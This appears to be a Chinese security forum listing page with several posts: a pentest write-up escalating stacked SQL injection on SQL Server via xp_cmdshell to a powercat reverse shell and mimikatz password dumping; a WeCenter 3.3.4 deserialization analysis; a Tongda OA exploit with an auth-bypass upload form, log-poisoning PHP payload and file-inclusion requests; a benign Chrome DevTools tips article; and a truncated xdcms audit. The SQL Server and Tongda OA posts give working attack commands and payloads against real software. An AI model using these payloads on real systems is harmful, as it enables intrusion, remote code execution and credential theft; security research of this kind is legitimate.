赛克艾威漏洞预警(3月28-4月3号)

漏洞预警ypk 发表了文章 • 0 个评论 • 8 次浏览 • 1 天前 • 来自相关话题

堆叠注入到内网(日常水文)

渗透测试名字真的不好取什么时候是个头 发表了文章 • 0 个评论 • 19 次浏览 • 1 天前 • 来自相关话题

前提:POST包存在注入,注入类型:堆叠注入;权限:很高,数据库,sqlserver
 
遇到堆叠注入,第一想到是否可以执行xp_cmdshell;
发现该系统未开启xp_cmdshell,尝试开启:开启xp_cmdshell
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;
RECONFIGURE;




尝试ping dnslog,成功执行命令:








nc监听:nc -lvnp 4999




利用xp_cmdshell,调用powershell,远程加载powercat并反弹回来到cmd上








mimikatz抓取密码
Mimikatz#       privilege::debug
Mimikatz#       sekurlsa::logonpasswords 




查看进程中存在域控的进程,如果直接进程注入,可以直接拿下域控权限,由于涉及内网渗透,暂不进一步进行渗透。
 
  查看全部
前提:POST包存在注入,注入类型:堆叠注入;权限:很高,数据库,sqlserver
 
遇到堆叠注入,第一想到是否可以执行xp_cmdshell;
发现该系统未开启xp_cmdshell,尝试开启:开启xp_cmdshell
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;
RECONFIGURE;

1.jpg

尝试ping dnslog,成功执行命令:
2.png

3.png

nc监听:nc -lvnp 4999
4.png

利用xp_cmdshell,调用powershell,远程加载powercat并反弹回来到cmd上
5.png

6.png

mimikatz抓取密码
Mimikatz#       privilege::debug
Mimikatz#       sekurlsa::logonpasswords 
7.png

查看进程中存在域控的进程,如果直接进程注入,可以直接拿下域控权限,由于涉及内网渗透,暂不进一步进行渗透。
 
 

WeCenter-V3.3.4漏洞分析

渗透测试zake 发表了文章 • 0 个评论 • 10 次浏览 • 1 天前 • 来自相关话题

该漏洞的实质触发原因是由于可以通过反序列化来执行任意sql语句,导致可以在数据库中更改上传文件的限制类型,最后达到可以上传任意PHP文件的效果

代码分析
漏洞利用点文件位置在./system/aws_model.inc.php,该文件中存在一个AWS_MODEL类,重点关注一下该类的__destruct方法






该方法遍历了$_shutdown_query,然后执行了query方法,跟进去看一下






该方法的功能是执行传入的SQL语句,那么也就是说我们只要控制了$_shutdown_query就可以执行任意的语句了,可以注意到该变量是该类中的私有成员变量






如果存在反序列化的点,我们就可以控制$_shutdown_query的值来执行任意SQL语句,于是接着来寻找反序列化的触发方法

在本例中反序列化是利用phar进行触发的,触发点文件在./models/account.php,在该文件的account_class类中,存在着这样一个函数






如果该函数中的$headimgurl是可控的,就可以通过file_get_contents函数来触发phar反序列化,通过搜索发现在./app/account/ajax.php中的synch_img_action函数调用了associate_remote_avatar函数






 在这里我们需要控制的是$wxuser['headimgurl'],而synch_img_action对于$wxuser['headimgurl']的获取是来源于数据库中的users_weixin表的,所以我们想控制其值必须找到对users_weixin表中headimgurl字段操作的代码,通过搜索发现./models/openid/weixin/weixin.php文件中bind_account函数存在着对该表的插入操作






接下来需要找到bind_account函数的调用位置,并且需要使其参数可控,通过搜索关注到binding_action函数,该函数在/app/m/weixin.php文件中






可以看到该函数中在调用bind_account函数传入参数时,参数的值都是从cookie中获取的,这样我们就可以通过cookie来控制传入的参数值,而binding_action这个方法可以通过路由访问直接调用,所以我们基本上就可以来执行任意SQL语句了

接着来梳理一下流程,首先我们控制cookie然后调用binding_action函数,使其调用bind_account函数并带入我们控制的参数,该函数将会把我们构造的headimgurl插入到数据库中,在我们调用synch_img_action方法时,该方法会将headimgurl取出来并调用associate_remote_avatar函数,该函数会调用file_get_contents($headimgurl)来触发phar反序列化,进而执行任意sql语句 查看全部
该漏洞的实质触发原因是由于可以通过反序列化来执行任意sql语句,导致可以在数据库中更改上传文件的限制类型,最后达到可以上传任意PHP文件的效果

代码分析
漏洞利用点文件位置在./system/aws_model.inc.php,该文件中存在一个AWS_MODEL类,重点关注一下该类的__destruct方法

1.png


该方法遍历了$_shutdown_query,然后执行了query方法,跟进去看一下

2.png


该方法的功能是执行传入的SQL语句,那么也就是说我们只要控制了$_shutdown_query就可以执行任意的语句了,可以注意到该变量是该类中的私有成员变量

3.png


如果存在反序列化的点,我们就可以控制$_shutdown_query的值来执行任意SQL语句,于是接着来寻找反序列化的触发方法

在本例中反序列化是利用phar进行触发的,触发点文件在./models/account.php,在该文件的account_class类中,存在着这样一个函数

4.png


如果该函数中的$headimgurl是可控的,就可以通过file_get_contents函数来触发phar反序列化,通过搜索发现在./app/account/ajax.php中的synch_img_action函数调用了associate_remote_avatar函数

5.png


 在这里我们需要控制的是$wxuser['headimgurl'],而synch_img_action对于$wxuser['headimgurl']的获取是来源于数据库中的users_weixin表的,所以我们想控制其值必须找到对users_weixin表中headimgurl字段操作的代码,通过搜索发现./models/openid/weixin/weixin.php文件中bind_account函数存在着对该表的插入操作

6.png


接下来需要找到bind_account函数的调用位置,并且需要使其参数可控,通过搜索关注到binding_action函数,该函数在/app/m/weixin.php文件中

7.png


可以看到该函数中在调用bind_account函数传入参数时,参数的值都是从cookie中获取的,这样我们就可以通过cookie来控制传入的参数值,而binding_action这个方法可以通过路由访问直接调用,所以我们基本上就可以来执行任意SQL语句了

接着来梳理一下流程,首先我们控制cookie然后调用binding_action函数,使其调用bind_account函数并带入我们控制的参数,该函数将会把我们构造的headimgurl插入到数据库中,在我们调用synch_img_action方法时,该方法会将headimgurl取出来并调用associate_remote_avatar函数,该函数会调用file_get_contents($headimgurl)来触发phar反序列化,进而执行任意sql语句

通达OA文件上传/文件包含GetShell

Web安全渗透heyha 发表了文章 • 0 个评论 • 13 次浏览 • 2 天前 • 来自相关话题

前言
 先来看看该漏洞的利用方式
 
绕过文件上传然后包含
 
包含日志文件
 
再来看看通达oa的信息
       通达信科隶属于世界500强企业。
 
       中国兵器工业信息中心通达信科隶属于中国兵器工业集团。
 
       通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
 
影响版本:
V11版2017版2016版2015版2013版2013增强版
 
 
[b]漏洞分析[/b] 
跟进这个文件  ispirit/im/upload.php  <?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}这里在数据包里面对p赋值可以绕过登录限制直接上传文件
 





这里显示的是未登录
 





 
在这里已经绕过登录进行了文件的上传
 





 
 
在本地自己构造一个文件上传的页面<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>




 
文件名为  随机数字.文件名.格式
 
包含点为  \ispirit\interface\gateway.phpif ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}最后面存在一个包含点
 
直接get传参就行
 
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
 
在访问日志  ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
 
也可以访问刚才上传的图片
 
以post的方式
 
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
 





 
 
后面会给出exp
 
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
  查看全部
前言
 先来看看该漏洞的利用方式
 
绕过文件上传然后包含
 
包含日志文件
 
再来看看通达oa的信息
       通达信科隶属于世界500强企业。
 
       中国兵器工业信息中心通达信科隶属于中国兵器工业集团
 
       通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
 
影响版本:
  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

 
 
[b]漏洞分析[/b] 
跟进这个文件  ispirit/im/upload.php  
<?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
这里在数据包里面对p赋值可以绕过登录限制直接上传文件
 

td1.png

这里显示的是未登录
 

td2.png

 
在这里已经绕过登录进行了文件的上传
 

td2.5_.png

 
 
在本地自己构造一个文件上传的页面
<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

td3.png

 
文件名为  随机数字.文件名.格式
 
包含点为  \ispirit\interface\gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
最后面存在一个包含点
 
直接get传参就行
 
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
 
在访问日志  ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
 
也可以访问刚才上传的图片
 
以post的方式
 
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
 

td5.png

 
 
后面会给出exp
 
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
 

渗透测试中使用浏览器的正确姿势【转】

渗透测试cat 发表了文章 • 0 个评论 • 28 次浏览 • 4 天前 • 来自相关话题

渗透的时候使用得最多的就是浏览器和burp了,灵活使用浏览器可以使渗透的效率大大提高,这次就分享下我平时用浏览器的一些技巧。
 
1. 浏览器的选择
首选chrome浏览器,火狐浏览器为辅.
mac的话还可以加个Safari来刷下动漫或用下google hack ~ 
首选chrome的原因主要是以下三点,是火狐没法比的:
更强大的账号同步能力只要能登录google账号,就能使用chrome强大的跨平台账号同步功能,不但能同步书签、账号密码,还可以同步所有的插件!同步插件这一点特别方便,当我们重装系统或者在其它电脑使用chrome时,只要登录google账号,就可以快速恢复成自己熟透的浏览器了。 而火狐的同步功能就不太让人理想,特别是跨平台同步书签时会出现问题。比如在windows收藏了个书签,又在kali上收藏了几个书签,kali上收藏的书签就无法同步到windows的火狐上。


更强大的F12现在的chrome的F12,也就是开发工具在很多方面已经超过火狐了,特别是在JavaScript调试方面,这一点放在后面详细讲解。自带flash很多比较老的网站,像学校、政府等行业的网站都需要用到flash,chrome自带flash。 2.那怎样更好地用浏览器做渗透?除了在网页上右键查看源码,还能用浏览器来干什么呢?主要为以下两方面:使用chrome的开发者工具。使用一些必备的插件。 3. 开发者工具的使用chrome为我们提供了强大的开发者工具,下面我主要介绍下渗透中常用到的功能,更详细的资料请查阅官方文档(https://developers.google.com/web/tools/chrome-devtools/) 打开开发者工具有几种方式可以打开chrome的开发者工具在Chrome菜单中选择 更多工具 > 开发者工具F12在页面元素上右键点击,选择 “检查”使用 快捷键Ctrl+Shift+I (Windows) 或 Cmd+Opt+I (Mac)




 
调整面板
我们首先来调整下面板,让视野更好点:
点击右上方的三个点,在Dock side的地方有四个图标,可以把面板放到屏幕的不同侧




如在屏幕的左侧是最后一个图标




 
手机模拟
接下来看下左上方的手机图标,这个功能主要是使网页变成移动版本,也就是手机模拟。
在渗透一些专门为手机设计的网站时特别有用!




比如https://m.jd.com/ 直接用chrome打开的界面是很不友好的




使用手机模拟后可以说是相当的舒服:





 
还有一点是手机模拟的鼠标是模拟触屏的,这一点在一些移动网站需要感应用户的触摸动作时特别有用。在我不知道开发者工具有这个功能时,遇到要触摸动作(如滑动验证码、画轨迹的验证码)的时候,我只能默默的打开我的夜神。。。
 
HTML元素选择
手机模拟左边的图标也是用得比较多的,点一下它可以在网页上选择元素




 
 
控制台
点击面板中的console,可以进入控制台



 
控制台功能十分强大,可以用来执行javascript代码 
比如在控制面板上输入以下代码alert('hacker by timeshatter')
可以轻松黑掉百度





说笑的,表哥们别打我,逃~
 
这个功能在渗透中主要有以下的作用
 
1. 调用函数、打印或计算一些变量的值
在控制台中可以调用页面中的任意函数,如登录页面的一些加密和解密函数。




 
也可以打印或者计算变量的值,这在调试javascript代码时特别有用,这一点在后面介绍调试功能时再详细讲解。 
2. 验证一些存在漏洞的JavaScript库
比如验证下JQuery版本过低漏洞:
在(http://research.insecurelabs.org/jquery/test/)查找对应版本的漏洞





 
然后在控制台中输入POC验证



 
3. 验证一些低危漏洞
如未开启httponly
输入alert(document.cookie)
可以验证哪些重要的cookie未开启httponly




 
网络功能
 
点击Network菜单可以打开网络面板
这个功能主要用来查看HTTP请求的状态、请求内容,请求头,响应头,响应内容等,这些功能burp都有,就不详细说了。
用处就是还没开burp时,可以用来快速查看下网页的哪里出错了。




 
值得注意的是,火狐的网络功能可以重新编辑并发送请求,而chrome的不行,这是火狐的一个优点。
在一种情况下比较有用:需要远程登录windows服务器来渗透,并且不能给那台windows上传工具,而电脑上只有一个火狐的时候,只能用火狐手动日了。








 
 
调试功能
 
在Souces菜单中,点击js文件或者有js的页面,可以查看网页的javascript源码,并且可以下断点来调试。这对于分析登录页面使用的加密逻辑、跟踪变量的值和查找DOM XSS特别有用。




 
下面详细介绍下这个功能




Sources 面板界面的 3 个部分
1. File Navigator 窗格。此处列出页面请求的每个文件。
2. Code Editor 窗格。在 File Navigator 窗格中选择文件后,此处会显示该文件的内容。
3. JavaScript Debugging 窗格。检查页面 JavaScript 的各种工具。如果 DevTools 窗口布局较宽,此窗格会显示在 Code Editor 窗格右侧。 
在调试前,先做两个设置,点击此处的设置




 
确保Enable JavaScript souce maps选项和Blackbox content scripts被勾选上了








 
Enable JavaScript souce maps可以开启JavaScript souce maps,因为有些js源码是压缩过的,可读性很差,不方便调试,有可能在这些js源码中声明了未压缩源码的地址,这样chrome的开发者工具可以映射到未压缩的源码来调度,从而提高可读性。




 
而Blackbox content scripts功能可以禁用插件的js代码,遇到插件的js函数这些时,可以直接跳过。
接着,源码页面左下角的 {} 图标可以把代码格式化,由于很多js为了节省空间,只有一行,可读性很差,点击{}图标后会跳转到一个格式化后的代码文件中来阅读和下断点
格式化前的代码,只有一行:




格式化后的代码:




 
现在正式开始介绍怎样调试javascript代码
JavaScript Debugging 窗格中可以下各种类型的断点,如下图所示,而火狐可以下的断点类型少得可怜:








其中的Event Listener Breakpoints可以根据各种事件来下断点,如鼠标的点击事件,键盘的输入事件等,以下面的例子来调试
https://googlechrome.github.io/devtools-samples/debug-js/get-started
 
1. 在 JavaScript Debugging 窗格中,点击 Event Listener Breakpoints 以展开该部分。DevTools 会显示 Animation 和 Clipboard 等可展开的事件类别列表。
2. 在 Mouse 事件类别旁,点击三角型按钮。DevTools 会显示 click 和 mousedown 等鼠标事件列表。每个事件旁都有一个复选框。
3. 勾选 click 复选框。DevTools 现在经过设置可以在任何 click 事件侦听器运行时自动暂停。




返回至演示页面,再次点击 Add Number 1 and Number 2。DevTools 会暂停演示并在 Sources 面板中突出显示一行代码。DevTools 应在此代码行暂停:function onClick() {



 
如果是在其他代码行暂停,请按 Resume Script Execution,直到在正确的代码行暂停为止,这种情况一般是插件捕获了点击事件。
注:如果是在其他代码行暂停,可使用浏览器扩展程序在您访问的每一页上注册一个 click 事件侦听器。使用扩展程序的 click 侦听器可执行暂停操作。如果是采用无痕模式进行隐私浏览,将会停用所有扩展程序,而且您会发现您每次都在正确的代码行暂停。




 
接下来开始调试代码 
1. 在 DevTools 的 Sources 面板上,点击 Step into next function call,以便一次一行地单步调试 onClick() 函数的执行。DevTools 突出显示下面这行代码: 
if (inputsAreEmpty()) {





2. 点击 Step over next function call 。DevTools 执行但不进入 inputsAreEmpty()。请注意 DevTools 是如何跳过几行代码的。这是因为 inputsAreEmpty() 求值结果为 false,所以 if 语句的代码块未执行。




 设置代码行断点
代码行断点是最常见的断点类型。如果您想在执行到某一行代码时暂停,请使用代码行断点:
1.看一下 updateLabel() 中的最后一行代码:label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;
2. 在这行代码的左侧,您可以看到这行代码的行号是 32。点击 32。DevTools 会在 32 上方放置一个蓝色图标。这意味着这行代码上有一个代码行断点。DevTools 现在始终会在执行此行代码之前暂停。
3. 点击 Resume script execution。脚本将继续执行,直到第 32 行。在第 29 行、第 30 行和第 31 行上,DevTools 会在各行分号右侧输出 addend1、addend2 和 sum 的值。




调试时,可以检查变量的值
方法 1:Scope 窗格
在某代码行暂停时,Scope 窗格会显示当前定义的局部和全局变量,以及各变量值。其中还会显示闭包变量(如果适用)。双击变量值可进行编辑。如果不在任何代码行暂停,则 Scope 窗格为空。




方法 2:控制台
除了查看 console.log() 消息以外,您还可以使用控制台对任意 JavaScript 语句求值。 
 
在 Console 中,输入 parseInt(addend1) + parseInt(addend2)。此语句有效,因为您会在特定代码行暂停,其中 addend1 和 addend2 在范围内。
按 Enter 键。DevTools 对语句求值并打印输出 6,即您预计演示页面会产生的结果。




以上就是常用的一些调试js代码的方法,熟练使用调试功能可以在渗透时分析网页的功能带来巨大的帮助!更多详细的用法请查看:(https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints)
 
编辑HTML功能
 
开发工具也看开发工具也可以修改HTML源码,比如把一些隐藏的忘记密码步骤显示出来在在Elements功能中,双击要修改的内容,修改完后单击下外面,即可生效:




 
把hide和display: none去掉后,效果如下图




好了,以上就是常用的开发者功能,更多详细的介绍请查看
https://developers.google.com/web/tools/chrome-devtools/
 
3. 一些常用的插件
 
最后,我分享下我的一些必备的插件
 
1. SwitchyOmega
这个插件主要用来方便切换代理,有了它就可以方便地在burp代理和正常浏览中切换了,不用手动设置代理。




 
2.沙拉查词-聚合词典划词翻译
这个插件主要用于看英文博客,十分好用




 
3.Retire.js
这个插件主要用于查看网页是否存在有漏洞的js库




 
4.wappalyzer
这个插件用于查看网站使用的技术,如中间件、语言、框架等




 
5.OneTab
这个插件用于管理标签页,渗透时经常打开大量标签页,点一下它会全部变成一个标签列表,以后用到时再打开需要查看的标签页




 
6.Shodan 或者 IP Address and Domain Information
这两个方便快速查看开放的端口和ip地址等信息








 
本文作者:timeshatter
转载自:https://www.secpulse.com/archives/126223.html
 
  查看全部
渗透的时候使用得最多的就是浏览器和burp了,灵活使用浏览器可以使渗透的效率大大提高,这次就分享下我平时用浏览器的一些技巧。
 
1. 浏览器的选择
首选chrome浏览器,火狐浏览器为辅.
mac的话还可以加个Safari来刷下动漫或用下google hack ~ 
首选chrome的原因主要是以下三点,是火狐没法比的:
  • 更强大的账号同步能力
只要能登录google账号,就能使用chrome强大的跨平台账号同步功能,不但能同步书签、账号密码,还可以同步所有的插件!同步插件这一点特别方便,当我们重装系统或者在其它电脑使用chrome时,只要登录google账号,就可以快速恢复成自己熟透的浏览器了。 而火狐的同步功能就不太让人理想,特别是跨平台同步书签时会出现问题。比如在windows收藏了个书签,又在kali上收藏了几个书签,kali上收藏的书签就无法同步到windows的火狐上。
1.png
  • 更强大的F12
现在的chrome的F12,也就是开发工具在很多方面已经超过火狐了,特别是在JavaScript调试方面,这一点放在后面详细讲解。
  • 自带flash
很多比较老的网站,像学校、政府等行业的网站都需要用到flash,chrome自带flash。 2.那怎样更好地用浏览器做渗透?除了在网页上右键查看源码,还能用浏览器来干什么呢?主要为以下两方面:
  • 使用chrome的开发者工具。
  • 使用一些必备的插件。
 3. 开发者工具的使用chrome为我们提供了强大的开发者工具,下面我主要介绍下渗透中常用到的功能,更详细的资料请查阅官方文档(https://developers.google.com/web/tools/chrome-devtools/) 打开开发者工具有几种方式可以打开chrome的开发者工具
  • 在Chrome菜单中选择 更多工具 > 开发者工具
  • F12
  • 在页面元素上右键点击,选择 “检查”
  • 使用 快捷键Ctrl+Shift+I (Windows) 或 Cmd+Opt+I (Mac)

2.png

 
调整面板
我们首先来调整下面板,让视野更好点:
点击右上方的三个点,在Dock side的地方有四个图标,可以把面板放到屏幕的不同侧
3.png

如在屏幕的左侧是最后一个图标
4.png

 
手机模拟
接下来看下左上方的手机图标,这个功能主要是使网页变成移动版本,也就是手机模拟。
在渗透一些专门为手机设计的网站时特别有用!
5.png

比如https://m.jd.com/ 直接用chrome打开的界面是很不友好的
6.png

使用手机模拟后可以说是相当的舒服:

7.png

 
还有一点是手机模拟的鼠标是模拟触屏的,这一点在一些移动网站需要感应用户的触摸动作时特别有用。在我不知道开发者工具有这个功能时,遇到要触摸动作(如滑动验证码、画轨迹的验证码)的时候,我只能默默的打开我的夜神。。。
 
HTML元素选择
手机模拟左边的图标也是用得比较多的,点一下它可以在网页上选择元素
8.png

 
 
控制台
点击面板中的console,可以进入控制台
9.png
 
控制台功能十分强大,可以用来执行javascript代码 
比如在控制面板上输入以下代码
alert('hacker by timeshatter')

可以轻松黑掉百度

45.png

说笑的,表哥们别打我,逃~
 
这个功能在渗透中主要有以下的作用
 
1. 调用函数、打印或计算一些变量的值
在控制台中可以调用页面中的任意函数,如登录页面的一些加密和解密函数。
10.jpg

 
也可以打印或者计算变量的值,这在调试javascript代码时特别有用,这一点在后面介绍调试功能时再详细讲解。 
2. 验证一些存在漏洞的JavaScript库
比如验证下JQuery版本过低漏洞:
在(http://research.insecurelabs.org/jquery/test/)查找对应版本的漏洞

11.jpg

 
然后在控制台中输入POC验证
12.jpg
 
3. 验证一些低危漏洞
如未开启httponly
输入
alert(document.cookie)

可以验证哪些重要的cookie未开启httponly
13.jpg

 
网络功能
 
点击Network菜单可以打开网络面板
这个功能主要用来查看HTTP请求的状态、请求内容,请求头,响应头,响应内容等,这些功能burp都有,就不详细说了。
用处就是还没开burp时,可以用来快速查看下网页的哪里出错了。
14.jpg

 
值得注意的是,火狐的网络功能可以重新编辑并发送请求,而chrome的不行,这是火狐的一个优点。
在一种情况下比较有用:需要远程登录windows服务器来渗透,并且不能给那台windows上传工具,而电脑上只有一个火狐的时候,只能用火狐手动日了。
15.jpg

16.jpg

 
 
调试功能
 
在Souces菜单中,点击js文件或者有js的页面,可以查看网页的javascript源码,并且可以下断点来调试。这对于分析登录页面使用的加密逻辑、跟踪变量的值和查找DOM XSS特别有用。
17.jpg

 
下面详细介绍下这个功能
18.jpg

Sources 面板界面的 3 个部分
1. File Navigator 窗格。此处列出页面请求的每个文件。
2. Code Editor 窗格。在 File Navigator 窗格中选择文件后,此处会显示该文件的内容。
3. JavaScript Debugging 窗格。检查页面 JavaScript 的各种工具。如果 DevTools 窗口布局较宽,此窗格会显示在 Code Editor 窗格右侧。 
在调试前,先做两个设置,点击此处的设置
19.jpg

 
确保Enable JavaScript souce maps选项和Blackbox content scripts被勾选上了
20.jpg

21.jpg

 
Enable JavaScript souce maps可以开启JavaScript souce maps,因为有些js源码是压缩过的,可读性很差,不方便调试,有可能在这些js源码中声明了未压缩源码的地址,这样chrome的开发者工具可以映射到未压缩的源码来调度,从而提高可读性。
22.jpg

 
而Blackbox content scripts功能可以禁用插件的js代码,遇到插件的js函数这些时,可以直接跳过
接着,源码页面左下角的 {} 图标可以把代码格式化,由于很多js为了节省空间,只有一行,可读性很差,点击{}图标后会跳转到一个格式化后的代码文件中来阅读和下断点
格式化前的代码,只有一行:
24.jpg

格式化后的代码:
25.jpg

 
现在正式开始介绍怎样调试javascript代码
JavaScript Debugging 窗格中可以下各种类型的断点,如下图所示,而火狐可以下的断点类型少得可怜:
26.jpg

27.jpg

其中的Event Listener Breakpoints可以根据各种事件来下断点,如鼠标的点击事件,键盘的输入事件等,以下面的例子来调试
https://googlechrome.github.io/devtools-samples/debug-js/get-started
 
1. 在 JavaScript Debugging 窗格中,点击 Event Listener Breakpoints 以展开该部分。DevTools 会显示 Animation 和 Clipboard 等可展开的事件类别列表。
2. 在 Mouse 事件类别旁,点击三角型按钮。DevTools 会显示 click 和 mousedown 等鼠标事件列表。每个事件旁都有一个复选框。
3. 勾选 click 复选框。DevTools 现在经过设置可以在任何 click 事件侦听器运行时自动暂停。
28.jpg

返回至演示页面,再次点击 Add Number 1 and Number 2。DevTools 会暂停演示并在 Sources 面板中突出显示一行代码。DevTools 应在此代码行暂停:
function onClick() {
29.jpg

 
如果是在其他代码行暂停,请按 Resume Script Execution,直到在正确的代码行暂停为止,这种情况一般是插件捕获了点击事件。
注:如果是在其他代码行暂停,可使用浏览器扩展程序在您访问的每一页上注册一个 click 事件侦听器。使用扩展程序的 click 侦听器可执行暂停操作。如果是采用无痕模式进行隐私浏览,将会停用所有扩展程序,而且您会发现您每次都在正确的代码行暂停。
30.jpg

 
接下来开始调试代码 
1. 在 DevTools 的 Sources 面板上,点击 Step into next function call,以便一次一行地单步调试 onClick() 函数的执行。DevTools 突出显示下面这行代码:
 

if (inputsAreEmpty()) {

31.jpg

2. 点击 Step over next function call 。DevTools 执行但不进入 inputsAreEmpty()。请注意 DevTools 是如何跳过几行代码的。这是因为 inputsAreEmpty() 求值结果为 false,所以 if 语句的代码块未执行。
32.jpg

 设置代码行断点
代码行断点是最常见的断点类型。如果您想在执行到某一行代码时暂停,请使用代码行断点:
1.看一下 updateLabel() 中的最后一行代码:
label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;

2. 在这行代码的左侧,您可以看到这行代码的行号是 32。点击 32。DevTools 会在 32 上方放置一个蓝色图标。这意味着这行代码上有一个代码行断点。DevTools 现在始终会在执行此行代码之前暂停。
3. 点击 Resume script execution。脚本将继续执行,直到第 32 行。在第 29 行、第 30 行和第 31 行上,DevTools 会在各行分号右侧输出 addend1、addend2 和 sum 的值。
33.jpg

调试时,可以检查变量的值
方法 1:Scope 窗格
在某代码行暂停时,Scope 窗格会显示当前定义的局部和全局变量,以及各变量值。其中还会显示闭包变量(如果适用)。双击变量值可进行编辑。如果不在任何代码行暂停,则 Scope 窗格为空。
34.jpg

方法 2:控制台
除了查看 console.log() 消息以外,您还可以使用控制台对任意 JavaScript 语句求值。 
 
在 Console 中,输入 parseInt(addend1) + parseInt(addend2)。此语句有效,因为您会在特定代码行暂停,其中 addend1 和 addend2 在范围内。
按 Enter 键。DevTools 对语句求值并打印输出 6,即您预计演示页面会产生的结果。
35.jpg

以上就是常用的一些调试js代码的方法,熟练使用调试功能可以在渗透时分析网页的功能带来巨大的帮助!更多详细的用法请查看:(https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints)
 
编辑HTML功能
 
开发工具也看开发工具也可以修改HTML源码,比如把一些隐藏的忘记密码步骤显示出来在在Elements功能中,双击要修改的内容,修改完后单击下外面,即可生效:
36.jpg

 
把hide和display: none去掉后,效果如下图
37.jpg

好了,以上就是常用的开发者功能,更多详细的介绍请查看
https://developers.google.com/web/tools/chrome-devtools/
 
3. 一些常用的插件
 
最后,我分享下我的一些必备的插件
 
1. SwitchyOmega
这个插件主要用来方便切换代理,有了它就可以方便地在burp代理和正常浏览中切换了,不用手动设置代理。
38.png

 
2.沙拉查词-聚合词典划词翻译
这个插件主要用于看英文博客,十分好用
39.jpg

 
3.Retire.js
这个插件主要用于查看网页是否存在有漏洞的js库
40.jpg

 
4.wappalyzer
这个插件用于查看网站使用的技术,如中间件、语言、框架等
41.jpg

 
5.OneTab
这个插件用于管理标签页,渗透时经常打开大量标签页,点一下它会全部变成一个标签列表,以后用到时再打开需要查看的标签页
42.jpg

 
6.Shodan 或者 IP Address and Domain Information
这两个方便快速查看开放的端口和ip地址等信息
43.png

44.jpg

 
本文作者:timeshatter
转载自:https://www.secpulse.com/archives/126223.html
 
 

赛克艾威漏洞预警(3月21-3月27号)

漏洞预警ypk 发表了文章 • 0 个评论 • 26 次浏览 • 2020-03-27 16:10 • 来自相关话题

xdcms 代码审计 (一丢丢)

PHPjizi_smile 发表了文章 • 0 个评论 • 45 次浏览 • 2020-03-23 01:25 • 来自相关话题

本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下







因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
